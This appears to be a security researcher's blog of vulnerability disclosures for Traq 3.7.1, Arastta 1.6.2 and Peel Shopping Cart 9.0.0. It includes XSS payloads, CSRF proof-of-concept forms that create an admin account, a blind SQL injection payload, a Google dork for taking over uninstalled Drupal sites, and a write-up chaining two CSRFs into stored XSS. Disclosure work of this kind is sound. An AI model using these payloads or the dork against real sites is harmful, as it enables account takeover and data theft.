Traq 3.7.1 multiple vulnerabilities.


Synopsis: Traq vulnerable to XSS, Admin account creation CSRF, SQL Injection, Lack of session timeout.

Product: Traq
Version: 3.7.1
Vendor site:
Researcher: Matt Landers


1: Username enumeration via = admin = anonymous = user etc etc

2: Reflected XSS
A GET reflected XSS appears in the search parameter of the following request.”>alert(document.domain)

This was a post XSS combined with a csrf vulnerability in the email parameter in the following request.

history.pushState(”, ”, ‘/’)
<form action=”; method=”POST”>
<input type=”hidden” name=”name” value=”Administrator” />
<input type=”hidden” name=”email” value=”tt1kr&quot;&gt;&lt;img src=a onerror=alert(document.cookie)&gt;awezh” />
<input type=”hidden” name=”watch_created_tickets” value=”1″ />
<input type=”hidden” name=”locale” value=”enus” />
<input type=”hidden” name=”submit” value=”Save” />
<input type=”submit” value=”Submit request” />

This was a post XSS combined with a csrf vulnerability in the name and email parameter in the following request.

history.pushState(”, ”, ‘/’)
<form action=”; method=”POST”>
<input type=”hidden” name=”username” value=”user1″ />
<input type=”hidden” name=”name” value=”guyj&quot;&gt;&lt;img src=a onerror=alert(document.domain)&gt;mztcr” />
<input type=”hidden” name=”password” value=”userpass” />
<input type=”hidden” name=”email” value=”test@testy2.comlgfyr&quot;&gt;&lt;img src=a onerror=alert(document.cookie)&gt;jj194″ />
<input type=”hidden” name=”group_id” value=”2″ />
<input type=”submit” value=”Submit request” />

5: Admin user creation via CSRF in the same request as the above mentioned item 4. The xss could be used to notify the attacker when the admin triggers the csrf, the admin account is created by setting the group id to 1 in this request.

history.pushState(”, ”, ‘/’)
<form action=”; method=”POST”>
<input type=”hidden” name=”username” value=”testadmin” />
<input type=”hidden” name=”name” value=”guy smiley” />
<input type=”hidden” name=”password” value=”testadmin” />
<input type=”hidden” name=”email” value=”” />
<input type=”hidden” name=”group_id” value=”1″ />
<input type=”submit” value=”Submit request” />

6: SQL Injection via the search parameter, I was able to have sqlmap return with the database current user and database type. The following is the sql injection I used in order to achieve this.

Parameter: search (URI)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind – WHERE, HAVING, ORDER BY or GROUP BY clause
Payload:;) RLIKE (SELECT (CASE WHEN (6383=6383) THEN ” ELSE 0x28 END)) AND (‘yDch’=’yDch&order_by=component.asc


Sent this cleaned up payload, thanks!


7: There appears to be no session timeout, admin account stayed logged in for two days.

Drupal takeover

Google dork for populated but not installed versions of Drupal

inurl:install.php select an installation profile

negative intext result: drupal already installed
positive intext result: select an installation profile

If Drupal is populated but not installed, you can install Drupal and become admin.

Arastta 1.6.2 XSS Disclosure

Synopsis: Arastta 1.6.2 xss vulnerability
Product: Arastta eCommerce: Free Shopping Cart
Version: 1.6.2
Researcher: Matt Landers

The xss that I have found is fairly straight forward."--!>GIF89a/*<svg/onload=alert(document.cookie)>*/=alert(document.domain)//;

Replace '' with the server you would like to test.


Peel Shopping Cart 9.0.0 csrf/xss disclosure.

Description: Peel Shopping Cart is prone to various CSRF and XSS vulnerabilities.
The csrf example below opens two tabs. The first tab adds an item to the users cart
and the second tab modifies the attributes of that item showing a Post XSS.

Also the XSS appears to be persistant as long as the modified cart item, remains in the cart.

Here is a link to a poc, obviously replace all hostnames with the host you would like to test.

1 Post XSS + 2 CSRF = FUN!

I seem to be running in to quite a few ‘Post xss’ vulnerabilities lately. I generally try to find a csrf to turn it in to a more valid threat.

A few months ago I was reviewing a popular web based marketplace software and discovered a Post xss when modifying parameters on an in cart item. Yes! I was able to find a csrf that made the Post xss a little more exploitable.

This alone could have been a stopping point, but how do I make sure that there is something in the victims shopping cart to begin with? If the cart is empty our payload will not work. You guessed it! Luckily enough I was able to find another csrf that allowed me to add an item to the victims cart.

The culmination of this was to include both csrf vulnerabilities into the same poc html. The first adds the item to the victims cart and the second modifies the item to insert our xss code. In the poc I had it auto submit both requests opening two separate tabs so that we can see what is happening.

The problem is that the first csrf vulnerability needs to have time to add an item to the cart before the second one tries to modify a parameter on said item to include our payload. For this I used

<form id=”additemcsrf” target=”_blank” form action=”etc etc” and

<form id=”csrftoxss” target=”+blank” form action=”etc etc”

Then to bring them together and add timing so that the item gets added to the cart before we modify it with the second csrf.

window.setTimeout( function () { document.forms.csrftoxss.submit()}, 1000);

This will let the item get added with enough time for the second tab to open and our XSS to pop. Also after the item in carts parameters have been modified the xss will execute every time the victim views their shopping cart until the item is removed.

Luckily I only needed two csrf vulnerabilities to make the xss pop however if needed we could chase all around the site until all of the conditions were met via forged forms.

Public disclosure forthcoming after the allocated time frame has ended.